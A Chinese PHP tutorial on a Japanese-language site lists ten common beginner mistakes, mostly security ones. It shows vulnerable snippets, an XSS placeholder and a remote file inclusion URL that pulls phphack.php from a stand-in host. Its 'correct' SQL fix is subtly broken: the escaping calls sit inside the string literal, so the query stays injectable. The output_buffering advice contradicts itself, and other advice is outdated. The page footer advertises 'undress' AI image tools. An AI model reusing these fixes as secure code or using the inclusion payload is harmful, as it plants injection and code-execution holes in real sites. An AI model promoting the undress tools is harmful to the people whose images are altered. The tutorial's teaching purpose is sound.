ホームページ php教程 php手册 PHP程序员最易犯10种错误总结,phper的你中几枪?

PHP程序员最易犯10种错误总结,phper的你中几枪?

May 26, 2016 am 08:20 AM
fopen include SQLインジェクション

最近经常和初学的phper讨论php相关问题,发现他们都在犯一些同样的错误,这些错误也是我以前犯过的。现在我把这些常的10个错误列出来,大多数是php安全方面,方便大家学习参考。

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我 曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:

<?php
$sql = "UPDATE users SET
name=&#39;.mysql_real_escape_string($name).&#39;
WHERE id=&#39;.mysql_real_escape_string ($id).&#39;";
mysql_query($sql);
?>
ログイン後にコピー



3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如 果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署 到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设 置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off 。

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php

<?
//including header, config, database connection, etc
include($_GET[&#39;filename&#39;]);
//including footer
?>
ログイン後にコピー


现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:

<?
//Include only files that are allowed.
$allowedFiles = array(&#39;file1.txt&#39;,&#39;file2.txt&#39;,&#39;file3.txt&#39;);
if(in_array((string)$_GET[&#39;filename&#39;],$allowedFiles)) {
include($_GET[&#39;filename&#39;]);
}
else{
exit(&#39;not allowed&#39;);
}
?>
ログイン後にコピー



5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

7. 不使用framework

95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序 只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.


10.对引号做两次转意


见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string

magic quotes on :
It's a string
又运行一次
addslashes():
It's a string

HTML输出:
It's a string


本文地址:

转载随意,但请附上文章地址:-)

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

PHP 警告: fopen(): SSL 操作が file.php の X 行目で失敗した場合の解決方法 PHP 警告: fopen(): SSL 操作が file.php の X 行目で失敗した場合の解決方法 Aug 25, 2023 am 09:22 AM

PHPWarning:fopen():SSLoperationfailedinfile.phponlineX を解決する方法 PHP プログラミングでは、fopen 関数を使用してファイルまたは URL を開いて関連する操作を実行することがよくあります。ただし、fopen 関数を使用すると、Warning:fopen():SSLoperationfailedinfile.p のようなエラーが発生することがあります。

PHP 警告の解決方法: fopen(): ストリームを開けませんでした: 許可が拒否されました PHP 警告の解決方法: fopen(): ストリームを開けませんでした: 許可が拒否されました Aug 20, 2023 pm 01:45 PM

PHPWarning:fopen():failedtoopenstream:Permissiondenied を解決する方法 PHP プログラムの開発プロセスでは、PHPWarning:fopen():failedtoopenstream:Permissiondenied などのエラー メッセージに遭遇することがよくあります。このエラーは通常、ファイルまたはディレクトリのアクセス許可が正しくないことが原因で発生します。

PHP 警告の解決方法: fopen(): ストリームを開けませんでした: そのようなファイルまたはディレクトリはありません PHP 警告の解決方法: fopen(): ストリームを開けませんでした: そのようなファイルまたはディレクトリはありません Aug 19, 2023 am 10:44 AM

PHPWarning:fopen():failedtoopenstream:No suchfileordirectory PHP 開発を使用する過程で、ファイル操作の問題がよく発生します。その 1 つが「PHPWarning:fopen():failedtoopenstream:No suchfileordirectory」です。

php include と include_once の違いは何ですか php include と include_once の違いは何ですか Mar 22, 2023 am 10:38 AM

PHP を使用して Web ページを作成する場合、他の PHP ファイルのコードを現在の PHP ファイルに含める必要がある場合があります。現時点では、include 関数または include_once 関数を使用してファイルのインクルードを実装できます。では、include と include_once の違いは何でしょうか?

Nginx の基本的なセキュリティ知識: SQL インジェクション攻撃の防止 Nginx の基本的なセキュリティ知識: SQL インジェクション攻撃の防止 Jun 10, 2023 pm 12:31 PM

Nginx は高速、高性能、スケーラブルな Web サーバーであり、そのセキュリティは Web アプリケーション開発において無視できない問題です。特に SQL インジェクション攻撃は、Web アプリケーションに多大な損害を与える可能性があります。この記事では、Nginx を使用して SQL インジェクション攻撃を防ぎ、Web アプリケーションのセキュリティを保護する方法について説明します。 SQL インジェクション攻撃とは何ですか? SQLインジェクション攻撃とは、Webアプリケーションの脆弱性を悪用する攻撃手法です。攻撃者は悪意のあるコードを Web アプリケーションに挿入する可能性があります

Matlab での fopen 関数の使用法 Matlab での fopen 関数の使用法 Nov 28, 2023 am 11:03 AM

Matlab では、関数 fopen を使用してファイルを開き、その後のファイルの読み取りまたは書き込み操作のためにファイル識別子を返します。必要に応じて適切な権限オプションを選択してファイルを開き、操作が完了したらすぐにファイルを閉じます。ファイルを開いた後、システム リソースを解放する必要がなくなった時点でファイルを確実に閉じる必要があることに注意してください。また、ファイルのオープンに失敗したり、操作エラーが発生した場合には、エラー処理機構を使用して適切に処理できます。

SQLエラーインジェクションにexpを使用する方法 SQLエラーインジェクションにexpを使用する方法 May 12, 2023 am 10:16 AM

0x01 はじめに 概要 編集者は、MySQL で別の Double データ オーバーフローを発見しました。 MySQL で関数を取得する場合、エディターは数学関数に関心があり、値を保存するためのいくつかのデータ型も含まれている必要があります。そこでエディターは、どの関数がオーバーフロー エラーを引き起こすかを確認するテストを実行しました。その後、編集者は、709 より大きい値が渡されると、関数 exp() がオーバーフロー エラーを引き起こすことを発見しました。 mysql>selectexp(709);+----------------------+|exp(709)|+---------- - -----------+|8.218407461554972

Laravel 開発ノート: SQL インジェクションを防ぐ方法とテクニック Laravel 開発ノート: SQL インジェクションを防ぐ方法とテクニック Nov 22, 2023 pm 04:56 PM

Laravel 開発ノート: SQL インジェクションを防ぐ方法とテクニック インターネットの発展とコンピューター技術の継続的な進歩に伴い、Web アプリケーションの開発はますます一般的になりました。開発プロセスにおいて、セキュリティは常に開発者にとって無視できない重要な問題でした。中でも SQL インジェクション攻撃の防止は、開発プロセスにおいて特に注意が必要なセキュリティ課題の 1 つです。この記事では、開発者が SQL インジェクションを効果的に防止できるように、Laravel 開発で一般的に使用されるいくつかの方法とテクニックを紹介します。パラメータバインディングの使用 パラメータバインディングはLarです

See all articles